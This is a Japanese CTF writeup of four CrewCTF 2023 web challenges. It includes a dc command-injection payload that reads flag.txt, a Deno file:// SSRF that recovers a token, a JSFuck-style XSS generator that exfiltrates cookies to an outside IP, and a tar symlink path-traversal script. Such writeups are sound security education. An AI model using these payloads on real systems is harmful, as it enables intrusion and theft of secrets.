st98 の日記帳 - コピー

なにか変なことが書かれていたり、よくわからない部分があったりすればコメントでご指摘ください。匿名でもコメント可能です🙏

CrewCTF 2023 writeup

7/8 - 7/10という日程で開催された。今回はSatoooonさんのWeb問目当てにソロチーム( 'ᾥ' )で参加して56位だった。そこそこ早くWebを全完できて嬉しい。


Do you like sequences?

Author : Satoooon

添付ファイル: sequence_gallery.zip

色々な計算をしてくれる便利なWebアプリ。計算式を選ぶと /?sequence=fibonacchi のようなURLに遷移し、次のようにその結果が表示される。

メインの処理である main.py は次の通り。簡単な作りになっていて、クエリパラメータで指定された sequence.dc という拡張子を結合して、それを dc コマンドで実行している。同じディレクトリには factorial.dc, fibonacchi.dc, power.dc といった dc コマンド向けのスクリプトのほか、flag.txt というテキストファイルも存在している。なるほど、flag.txt を読めということか。

import os
import sqlite3
import subprocess

from flask import Flask, request, render_template

app = Flask(__name__)

@app.get('/')
def index():
    sequence = request.args.get('sequence', None)
    if sequence is None:
        return render_template('index.html')

    script_file = os.path.basename(sequence + '.dc')
    if ' ' in script_file or 'flag' in script_file:
        return ':('

    proc = subprocess.run(
        ['dc', script_file], 
        capture_output=True,
        text=True,
        timeout=1,
    )
    output = proc.stdout

    return render_template('index.html', output=output)

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8080)

subprocess.run(['dc', script_file], …) というような処理から、dc コマンドのオプションでなにかできないかなと思う。試しに /?sequence=-h にアクセスしてみると、以下のように表示された。なんかできそう。-e というオプションでコマンドラインから与えた dc の式を実行できるというのは気になる。

man dcdc の式でできそうな悪いことを調べていると、あった。! というコマンドを使うと、それ以降の文字列をOSコマンドとして実行してくれるらしい。これで flag.txt を読みたい。

Miscellaneous
! Will run the rest of the line as a system command. Note that parsing of the !<, !=, and !> commands
take precedence, so if you want to run a command starting with <, =, or > you will need to add a space
after the !.

(半角スペース)やflag.txtsequence に含まれていると弾かれるのがちょっと面倒だが、半角スペースは水平タブで代替できるし、flag を含めずとも cat f*flag.txt を読めばいい。/?sequence=-e!cat%09f*%09* でフラグが得られた。

crew{10 63 67 68 101 107 105 76 85 111 68[dan10!=m]smlmx}

[Web 793] safe_proxy (25 solves)

Deno sandbox prevents SSRF, right?

Author : Satoooon

添付ファイル: safe_proxy.zip

safe_proxy.zip を展開すると flag_providerweb という2つのディレクトリが出てくる。それぞれ別の Dockerfile が含まれており、これら2つのサービスからなっているようだ。なお、我々がアクセスできるのは後者のみ。

まずは前者から見ていく。メインの main.js は次の通り。/ はフラグを返してくれるけれども、フラグを返す条件として token というクエリパラメータの値が、環境変数PROVIDER_TOKEN と一致している必要がある。もちろん、その値は我々にはわからない。

import { Application, helpers } from 'https://deno.land/x/oak/mod.ts';

const HOST = '0.0.0.0';
const PORT = 8080;

let PROVIDER_TOKEN = Deno.env.get('PROVIDER_TOKEN');
const FLAG = await Deno.readTextFile('./flag.txt');

const app = new Application();

app.use((ctx) => {
  const params = helpers.getQuery(ctx);
  if (!params.token) return;

  const token = params.token;
  if (token === PROVIDER_TOKEN) {
    ctx.response.body = `export const FLAG = '${FLAG}';`;
  };
});

app.addEventListener('listen', ({ hostname, port }) => {
  console.log(`Listening on: ${hostname}:${port}`);
});

await app.listen({ hostname: HOST, port: PORT });

web のメインのコードは次の通り。最初に flag_provider からフラグを取ってきているが、以降 FLAG はそのハッシュ値の計算にしか使われていない。/ というフラグのハッシュ値を返すAPIのほかは、/proxy という指定されたURLを fetch しに行くAPIがある。

ただし、run.sh というこの main.js を実行するためのスクリプト中にある deno run --no-prompt --allow-net="0.0.0.0:8080,$PROVIDER_HOST" --allow-read=. --allow-env ./main.js というOSコマンドからわかるように、fetch で取得できる対象は限られている0.0.0.0:8080$PROVIDER_HOST (flag_provider のホスト名)が --allow-net で許可されているが、フラグの取得後に後者は Deno.permissions.revoke でrevokeされてしまっており、実質的に 0.0.0.0:8080 からしか取得できないことがわかる。

import { Application, Router, helpers } from 'https://deno.land/x/oak/mod.ts';
import { encode } from 'https://deno.land/std/encoding/hex.ts';

const HOST = '0.0.0.0';
const PORT = 8080;

const PROVIDER_TOKEN = Deno.env.get('PROVIDER_TOKEN');
const PROVIDER_HOST = Deno.env.get('PROVIDER_HOST');
const { FLAG } = await import(`http://${PROVIDER_HOST}/?token=${PROVIDER_TOKEN}`);
// no ssrf!
await Deno.permissions.revoke({ name: 'net', host: PROVIDER_HOST});


const router = new Router();

router
  .get('/', async (ctx) => {
    const encoded = new TextEncoder().encode(FLAG);
    const hash_buff = await crypto.subtle.digest('sha-256', encoded);
    const hash = new TextDecoder().decode(encode(new Uint8Array(hash_buff)));
    const html = await Deno.readTextFile('./index.html');
    ctx.response.body = html.replace('{HASH}', hash);
  })

  .get('/proxy', async (ctx) => {
    const params = helpers.getQuery(ctx);

    if (!params.url) {
      ctx.response.body = 'missing url';
      return;
    }

    const url = params.url;
    const fetchResponse = await fetch(url);
    ctx.response.body = fetchResponse.body;
  })
;

const app = new Application();

app.use(router.routes());
app.use(router.allowedMethods());

app.addEventListener('listen', ({ hostname, port }) => {
  console.log(`Listening on ${hostname}:${port}`);
});

await app.listen({ hostname: HOST, port: PORT });

ところで、Denoでは次のように file スキームを使うことで、fetch でローカルファイルの内容を取得できる。

$ docker run --rm -it denoland/deno:1.32.3 repl
Deno 1.32.3
exit using ctrl+d, ctrl+c, or close()
> await fetch('file:///etc/passwd')
✅ Granted read access to "/etc/passwd".
Response {
  body: ReadableStream { locked: false },
  bodyUsed: false,
  headers: Headers {},
  ok: true,
  redirected: false,
  status: 200,
  statusText: "OK",
  url: "file:///etc/passwd"
}

今回は --allow-read=. というオプションが付与されているのでカレントディレクトリである /home/app 以下のファイルしか参照できない。試しに /home/app 下にどんなファイルやディレクトリがあるか確認してみる。お、.cache というディレクトリがある。

app@d5d01e71f953:~$ ls -la
total 28
drwxrwxrwx 1 root root 4096 Jul  9 06:21 .
drwxr-xr-x 1 root root 4096 Jul  9 02:17 ..
drwxr-xr-x 3 app  app  4096 Jul  9 06:21 .cache
-rwxrwxrwx 1 root root  157 Jul  9 00:35 index.html
-rwxrwxrwx 1 root root 1387 Jul  9 00:35 main.js
-rwxrwxrwx 1 root root  111 Jul  9 00:35 run.sh

.cache/deno 下には、以下のように依存しているパッケージのキャッシュなどが保存されているらしい。

app@d5d01e71f953:~$ ls -la .cache/
total 12
drwxr-xr-x 3 app  app  4096 Jul  9 06:21 .
drwxrwxrwx 1 root root 4096 Jul  9 06:21 ..
drwxr-xr-x 5 app  app  4096 Jul  9 06:21 deno
app@d5d01e71f953:~$ ls -la .cache/deno/
total 252
drwxr-xr-x 5 app app   4096 Jul  9 06:21 .
drwxr-xr-x 3 app app   4096 Jul  9 06:21 ..
-rw-r--r-- 1 app app 188416 Jul  9 06:21 dep_analysis_cache_v1
-rw-r--r-- 1 app app      0 Jul  9 06:21 dep_analysis_cache_v1-journal
drwxr-xr-x 4 app app   4096 Jul  9 06:21 deps
drwxr-xr-x 3 app app   4096 Jul  9 06:21 gen
-rw-r--r-- 1 app app     85 Jul  9 06:21 latest.txt
-rw-r--r-- 1 app app  36864 Jul  9 06:21 node_analysis_cache_v1
-rw-r--r-- 1 app app      0 Jul  9 06:21 node_analysis_cache_v1-journal
drwxr-xr-x 2 app app   4096 Jul  9 06:21 npm

では、最初のdynamic importで取得してきた flag_provider はキャッシュされているだろうか。grep で探してみると、あった。謎のハッシュ値がファイル名として使われている。同じディレクトリには (同じハッシュ値).metadata.json というファイルもある。この謎のハッシュ値をなんとかして手に入れられないだろうか。

app@d5d01e71f953:~$ grep -rl "dummy{dummy}" .
./.cache/deno/deps/http/172.17.0.1_PORT8082/f1ba679cea218ea6e53ba43d7cb3970ab84544d0f8c9bd24ba5d9fc28ab0c4c2
app@d5d01e71f953:~$ cat ./.cache/deno/deps/http/172.17.0.1_PORT8082/f1ba679cea218ea6e53ba43d7cb3970ab84544d0f8c9bd24ba5d9fc28ab0c4c2
export const FLAG = 'dummy{dummy}';
app@d5d01e71f953:~$ ls -la ./.cache/deno/deps/http/172.17.0.1_PORT8082/
total 16
drwxr-xr-x 2 app app 4096 Jul  9 06:21 .
drwxr-xr-x 3 app app 4096 Jul  9 06:21 ..
-rw-r--r-- 1 app app   35 Jul  9 06:21 f1ba679cea218ea6e53ba43d7cb3970ab84544d0f8c9bd24ba5d9fc28ab0c4c2
-rw-r--r-- 1 app app  284 Jul  9 06:21 f1ba679cea218ea6e53ba43d7cb3970ab84544d0f8c9bd24ba5d9fc28ab0c4c2.metadata.json

Denoのリポジトリmetadata.json を検索してみる。write_metadata_at_path というメソッドが見つかった。これの引数として与えられている path がどう作られているか知りたい。このメソッドは2箇所から呼び出されているが、いずれにしても get_cache_filepath_internal を使っている。このメソッドでは、url_to_filename という関数でURLからファイル名に変換をしているようだ。ここで、SHA-256のハッシュ値は次のようにして計算されている。URLのパスとクエリパラメータを結合しているらしい。

  let mut rest_str = url.path().to_string();
  if let Some(query) = url.query() {
    rest_str.push('?');
    rest_str.push_str(query);
  }
  // NOTE: fragment is omitted on purpose - it's not taken into
  // account when caching - it denotes parts of webpage, which
  // in case of static resources doesn't make much sense
  let hashed_filename = util::checksum::gen(&[rest_str.as_bytes()]);

そのクエリパラメータである PROVIDER_TOKEN が未知だから困るんだなあ。なんとかしてこのクエリパラメータや、ハッシュ値そのものがほかの方法で得られないか考える。.cache 以下のファイルで flag_provider のホスト名を探してみると、次のように .cache/deno/dep_analysis_cache_v1 というファイルが見つかった。これだ。

app@d5d01e71f953:~$ grep -rl "172.17.0.1" .
./.cache/deno/deps/http/172.17.0.1_PORT8082/f1ba679cea218ea6e53ba43d7cb3970ab84544d0f8c9bd24ba5d9fc28ab0c4c2.metadata.json
./.cache/deno/dep_analysis_cache_v1

問題サーバで /proxy?url=file:///home/app/.cache/deno/dep_analysis_cache_v1 にアクセスしてみると、SQLiteのDBがダウンロードできた。その中身を見ると、5a35327045b0ec9159cc188f643e347fPROVIDER_TOKEN であるとわかった。

$ sqlite3 dep_analysis_cache_v1
SQLite version 3.31.1 2020-01-27 19:55:54
Enter ".help" for usage hints.
sqlite> select specifier from moduleinfocache where specifier like '%token%';
http://safe-proxy-flag-provider:8082/?token=5a35327045b0ec9159cc188f643e347f

これを元にさっきのハッシュ値を計算する。/proxy?url=file:///home/app/.cache/deno/deps/http/safe-proxy-flag-provider_PORT8082/70ec621b0141f80c80d9e26b084da38df4bbf6b4b64d04c837f7b3cd5fe8482b にアクセスすると以下のようなJSコードが表示され、フラグが得られた。

export const FLAG = 'crew{file://_SSRF_in_modern_6f4544ec261423ce}';
crew{file://_SSRF_in_modern_6f4544ec261423ce}

[Web 940] hex2dec (14 solves)

Converting from hexadecimal to decimal is a pain.

Author : Satoooon

添付ファイル: hex2dec.zip

16進数を10進数に変換してくれる便利なWebアプリ。

以下のように httpOnly ではないフラグを含んだCookieを携えて、botがこのWebアプリにアクセスし、指定した「16進数の数値」を10進数に変換してくれる。いい感じにXSSを引き起こせるような「16進数の数値」を作れということらしい。

await page.setCookie({
  name: 'FLAG',
  value: FLAG,
  domain: `${APP_HOST}:${APP_PORT}`,
  httpOnly: false
});

16進数を10進数に変換してくれるWebアプリのソースコードは次の通り。CSPは微妙に厳しく、基本的にはどんなリソースの読み込みも許さないけれども、JavaScriptに関してはインラインのものの実行を許可してくれるらしい。

変換対象の文字列については、/^[0-f +-]+$/ という正規表現にマッチしているかチェックされている。おっと、なぜ 0-9a-f でなく 0-f なのだろう。これだと余計な文字も結構含まれてしまうのではないか。

<!DOCTYPE html>
<html>
<head>
   <meta charset="utf-8">
   <meta http-equiv="content-security-policy" content="default-src 'none'; script-src 'unsafe-inline';">
   <title>hex2dec tool</title>
</head>
<body>
    <form method="GET">
        <input type="text" name="v" placeholder="deadbeef">
        <input type="submit" value="To decimal">
    </form>
    <div id="result">
    </div>
    <script type="text/javascript">
       const params = new URLSearchParams(document.location.search.substring(1));
       const v = params.get("v");
       if (/^[0-f +-]+$/g.test(v)) {
           result.innerHTML = `${v} = ${parseInt(v, 16)}`;
       }
   </script>
</body>
</html>

雑に以下のようなスクリプトで使用可能な文字を確認する。大文字全部と []、それからバックティックが使えるのはありがたいけれども、小文字が abcdef の6文字しか使えないのはつらい。ところで、このようなフィルターを見るとCODEGATE CTF 2023 QualsのCalculatorを思い出す。前回はフィルターの突破ができなかったので、リベンジ(?)開始だ。

let s = '';
for (let i = 0; i < 0x100; i++) {
    if (/^[0-f +-]+$/g.test(String.fromCharCode(i))) {
        s += String.fromCharCode(i);
    }
}
console.log(s); // " +-0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdef"

まずはどうやってXSSするかだが、これは <IMG SRC=X ONERROR=(JSコード)> のようにすればよい。

ではどうやって制限の範囲内である程度自由にJSコードを実行できるようにするか。基本的にはJSF*ckと同じ考え方で、[] によるプロパティアクセスと文字列の組み立てによってなんとかしていく。簡単には作れない文字もいくつかあるが、それもJSF**kのソースコードを参考にすればよい。''.constructor.constructor('return 123')() のようにして Function にアクセスし、eval 相当のことができたらいいのだけれども、残念ながら今回はCSPが script-src 'unsafe-inline' となっていて、'unsafe-eval' が含まれていないので使えない。

どんな挙動をするJSコードを作りたいか。目標は document.cookie にアクセスして、CSP回避のために location.href = 'https://example.com?' + document.cookie のようなリダイレクトでCookieを抜き出すこと…なのだけれども、どうやれば eval 相当のことをせず documentlocation にアクセスできるだろうか。

ちょっと考えて、iframecontentWindow を思い出す。<IMG SRC=X ONERROR=…><IFRAME ID=X> のようにすれば、DOM Clobberingと同じ要領で X.contentWindow のようにしてこの追加した iframe、そしてその contentWindow にアクセスできる。遷移に関しては、安直に X.location = '…' のようにするとCSPの default-src 'none' に引っかかってしまうが、X.parent.location = '…' のように parenttop を使って iframe を開いている側のウィンドウにアクセスすればよい。

このアプリのフィルターはJS****の6種類の文字しか使えないという制限に比べるとだいぶゆるいので、たとえば true, false はそれぞれ 0==0, 1==0 に、[object …] というような文字列は大文字の適当なオブジェクトの CSS を持ってきて CSS+`…` で作って、といったように結構楽ができる。() が使えないのが不便だが、関数呼び出しについてはテンプレートリテラルが使えるので、alert`hoge` のようにバックティックを代替とし、また演算子の優先順位の都合でカッコで囲みたい箇所では、[[1==0]+`…`][0][1] のようにブラケットを代わりに使えばよい。

constructor のような長い文字列が出現するたびにいちいち 'c'+'o'+… と生成していてはペイロードが長くなってしまうので、同じ文字列を何度も使うような場合は C='c'+'o'+… のような感じで適当な変数に入れておき、それを参照するようにする。

こんな感じの戦略でいい感じにフィルターをバイパスして X.parent.location = '//2130706433\\' + X.contentWindow.document.cookie 相当のことをするJSコードを生成するPythonスクリプトが以下。

m = {
    'c': '[CSS+``][0][5]',
    'o': '[CSS+``][0][1]',
    'n': '[``[0]+``][0][6]',
    's': '[[1==0][0]+``][0][3]',
    't': '[[0==0][0]+``][0][0]',
    'r': '[[0==0][0]+``][0][1]',
    'u': '[[0==0][0]+``][0][2]',
    ' ': '[CSS+``][0][7]',
    'a': '[[1==0][0]+``][0][1]',
    'e': '[[1==0][0]+``][0][4]',
    'i': '[``[0]+``][0][5]',
    'd': '[``[0]+``][0][2]',
    'l': '[[1==0][0]+``][0][2]',
}

def encode(s):
    return '+'.join(m[c] for c in s)

long_ip = '(127.0.0.1 → 2130706433みたいなやつ)'

constructor = encode('constructor') # 'constructor'
string = f'``[{constructor}]' # String
number = f'0[{constructor}]' # Number

m['g'] = f'[{string}+``][0][14]'
m['m'] = f'[{number}+``][0][11]'
string_s = f'{string}[{encode("name")}]' # 'String'

PREAMBLE = f'TOS={encode("to")}+{string_s};'
m['p'] = f'211[TOS]`31`[1]'
m['w'] = f'32[TOS]`33`'
m['k'] = f'20[TOS]`21`'
m['/'] = f'[``[{encode("link")}]``][0][12]'

payload = PREAMBLE + f'W=X[{encode("content")}+`W`+{encode("indow")}];C=W[{encode("document")}][{encode("cookie")}];W[{encode("parent")}][{encode("location")}]={encode("//")}+{long_ip}+`\\\\`+C'

print(f'<IMG SRC=X ONERROR={payload}><IFRAME ID=X>')

生成されたペイロードを通報するとフラグが得られた。

crew{dom_clobbering_is_helpful_for_a_restricted_xss}

[Web 983] archive_stat_viewer (8 solves)

Warning: Never extract archives from untrusted sources without prior inspection. It is possible that files are created outside of path, e.g. members that have absolute filenames starting with "/" or filenames with two dots "..". > > https://docs.python.org/3/library/tarfile.html#tarfile.TarFile.extractall

I'm aware this warning but didn't know what to do right. Is this okay?

Author: Satoooon

添付ファイル: archive_stat_viewer.zip

このWebアプリは tar ファイルをアップロードするといい感じに解析してくれるものだ。適当な tar ファイルを上げると、次のようにJSONでどんなファイルが含まれていたか返してくれる。

メインのコードは次の通り。どの問題もそうだったけれども、これもミニマルな感じで読みやすくて嬉しい。なお、フラグは同じディレクトリの flag.txt に保存されている。

from pathlib import Path
from uuid import uuid4
from secrets import token_hex
from datetime import datetime
import os
import tarfile
import json
import shutil

from flask import Flask, request, session, send_file, render_template, redirect, make_response

app = Flask(__name__)
app.config['SECRET_KEY'] = open('./secret').read()
app.config['MAX_CONTENT_LENGTH'] = 1024 * 128

UPLOAD_DIR = Path('./archives')

class HackingException(Exception):
    pass

def extract_archive(archive_path, extract_folder):
    with tarfile.open(archive_path) as archive:
        for member in archive.getmembers():
            if member.name[0] == '/' or '..' in member.name:
                raise HackingException('Malicious archive')
        archive.extractall(extract_folder)

def get_folder_info(extract_folder):
    data = {}
    for file in extract_folder.iterdir():
        stat = file.lstat()
        name = file.name
        size = stat.st_size
        last_updated = datetime.utcfromtimestamp(stat.st_mtime).strftime('%Y-%m-%d %H:%M:%S')

        data[file.name] = {}
        data[file.name]['Size'] = size
        data[file.name]['Last updated'] = last_updated
    return data

@app.get('/')
def index():
    if 'archives' not in session:
        session['archives'] = []
    return render_template('index.html', archives = session['archives'])

@app.get('/results/<archive_id>')
def download_result(archive_id):
    if 'archives' not in session:
        session['archives'] = []
    archive_id = Path(archive_id).name
    return send_file(UPLOAD_DIR / archive_id / 'result.json')

@app.get('/clean')
def clean_results():
    if 'archives' not in session:
        session['archives'] = []
    for archive in session['archives']:
        shutil.rmtree(UPLOAD_DIR / archive['id'])
    session['archives'] = []
    return redirect('/')


@app.post('/analyze')
def analyze_archive():
    if 'archives' not in session:
        session['archives'] = []
    
    archive_id = str(uuid4())
    
    archive_folder = UPLOAD_DIR / archive_id
    extract_folder = archive_folder / 'files/'
    archive_path = archive_folder / 'archive.tar'
    result_path = archive_folder / 'result.json'

    extract_folder.mkdir(parents=True)
    
    archive = request.files['archive']
    archive_name = archive.filename
    archive.save(archive_path)

    try:
        extract_archive(archive_path, extract_folder)
    except HackingException:
        return make_response("Don't hack me!", 400)

    data = get_folder_info(extract_folder)
    with open(result_path, 'w') as f:
        json.dump(data, f, indent=2)

    session['archives'] = session['archives'] + [{
        'id': archive_id,
        'name': archive_name
    }]

    return redirect('/')

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80)

アップロードされた tar ファイルは次のようにして解析される:

  1. その tar ファイルに対応するUUIDv4が生成される(以降、解析結果の参照等に使う)
  2. /web-apps/src/archives 下にそのUUIDの名前でディレクトリが作成される(以下、作業ディレクトリとする)
  3. (作業ディレクトリ)/archive.tartar ファイルを保存する
  4. (作業ディレクトリ)/files/ 下に tar ファイルを展開する
  5. (作業ディレクトリ)/result.json 下に展開されたファイルの情報を取得・保存する(以降、/results/(UUID)result.json の内容を参照できる)

tar ファイルの展開は以下のようにZip Slip的なことができる extractall が使われているのだけれども、/ から始まっていないか(絶対パスを弾きたいらしい)、.. が含まれていないか(ディレクトリをさかのぼれないようにしたいらしい)を見てPath Traversalを防ごうとしている。

def extract_archive(archive_path, extract_folder):
    with tarfile.open(archive_path) as archive:
        for member in archive.getmembers():
            if member.name[0] == '/' or '..' in member.name:
                raise HackingException('Malicious archive')
        archive.extractall(extract_folder)

なるほど、真正面からPath Traversalを狙うのは難しそう。でも、シンボリックリンクであるかどうかはチェックされていない。すでに解析済みである適当なアーカイブについて、report.json をPath Traversalで /web-apps/src/flag.txt に置き換えて、/results/(UUID) でその内容を参照ということができないかと考えた。

でも、どうやってそのPath Traversalをするのか。もう一段シンボリックリンクを使えばよい。以下の2つのシンボリックを含む tar ファイルがあるとして、上から順番に展開されるとどうなるだろうか。2つ目のファイルの展開時に、/web-apps/src/archives/(UUID)/report.json というファイルが、/web-apps/src/flag.txt へ向けたシンボリックリンクで置き換えられる。

  1. aaa というファイル名の、/web-apps/src/archives/(UUID)/ へ向けたシンボリックリンク
  2. aaa/report.json というファイル名の、/web-apps/src/flag.txt へ向けたシンボリックリンク

ということで、このような tar ファイルを生成するPythonスクリプトを書く。

import os
import tarfile
import tempfile

with tempfile.TemporaryDirectory() as dir:
    os.symlink('/web-apps/src/archives/45da2988-9432-4dee-a952-55300e249d47', f'{dir}/aaa')
    os.symlink('/web-apps/src/flag.txt', f'{dir}/bbb')
    with tarfile.open('exp.tar', 'w') as f:
        f.add(f'{dir}/aaa', 'aaa')
        f.add(f'{dir}/bbb', 'aaa/result.json')

生成された exp.tar をアップロードし、/results/45da2988-9432-4dee-a952-55300e249d47 にアクセスすると、フラグが得られた。

crew{fixing_zip/tar_slip_vulnerability_is_hard}